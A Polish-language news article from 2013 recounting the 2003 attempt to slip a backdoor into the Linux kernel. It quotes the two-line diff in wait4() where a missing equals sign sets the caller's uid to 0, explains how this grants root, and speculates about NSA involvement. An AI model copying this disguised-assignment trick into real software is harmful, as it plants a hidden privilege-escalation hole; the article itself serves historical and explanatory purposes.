Już w 2003 próbowano wstawić sprytną tylną furtkę do jądra Linuksa

dodał 19 września 2013 o 22:42 w kategorii Info  z tagami:
Już w 2003 próbowano wstawić sprytną tylną furtkę do jądra Linuksa

Wobec ostatnich rewelacji dotyczącej działalności NSA oraz dwuznacznej odpowiedzi Linusa Torvaldsa na pytanie, czy rząd próbował wstawić tylną furtkę do Linuksa, warto przypomnieć historię z roku 2003, kiedy taką próbę zanotowano.

W listopadzie 2003 systemy kontroli integralności kodu źródłowego firmy BitMover wykryły ręczne zmiany w repozytorium kodu, w którym takie modyfikacje nie powinny mieć miejsca. Ktoś przełamał zabezpieczenia serwera i dodał w pliku kernel/exit.c dwie linijki programu, według wstępnej oceny uznanego za mało interesujący.

Dopiero dzień później programiści pracujący nad nową wersją jądra Linuksa – bo to właśnie jego repozytorium zostało naruszone – zauważyli, że dodany kod może mieć zupełnie inną funkcjonalność niż się początkowo wydawało. Fragment, dopisany w obrębie funkcji wait4(), dostępnej dla każdego programu, wyglądał całkiem niepozornie. Na pierwszy rzut oka sprawdzał, czy program wywołujący funkcję używa nieprawidłowej kombinacji dwóch flag oraz czy użytkownik, uruchamiający program, ma uprawnienia roota. Jeśli oba warunki były spełnione, przerywał wykonywanie funkcji.

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

W rzeczywistości kod wykonywał jednak zupełnie inną operację. Dzięki opuszczeniu jednego znaku równości, nie sprawdzał, czy osoba wykonująca program ma uprawnienia roota, lecz te uprawnienia przyznawał każdemu, kto uruchomił program z dwiema konkretnymi flagami. Brak jednego znaku równości powodował, ze zamiast porównania, wykonywane było polecenie przypisania. Osoba, znająca ten błąd w kodzie, mogła, odpowiednio wywołując funkcję, otrzymać uprawnienia roota w każdym systemie, w którym znajdzie się ta tylna furtka.

Już w 2003 roku pojawiły się opinie, że próba tak subtelnego wprowadzenia tylnej furtki wygląda na działanie NSA. Czy te słowa były prorocze? W obliczu dzisiaj znanych rewelacji znacznie łatwiej w to uwierzyć. Gdyby tajemniczemu włamywaczowi udała się jego sztuczka, ta drobna zmiana mogła trafić do oficjalnego wydania jądra Linuksa w wersji 2.6, a wraz z nim do większości dystrybucji Linuksa na milionach komputerów. Na szczęście prawdopodobieństwo powodzenia chytrego planu było niewielkie – to repozytorium było tylko jednym z wielu używanych w procesie tworzenia nowego oprogramowania i szansa na przekazanie opartego na nim kodu do ostatecznej  wersji jądra była niewielka.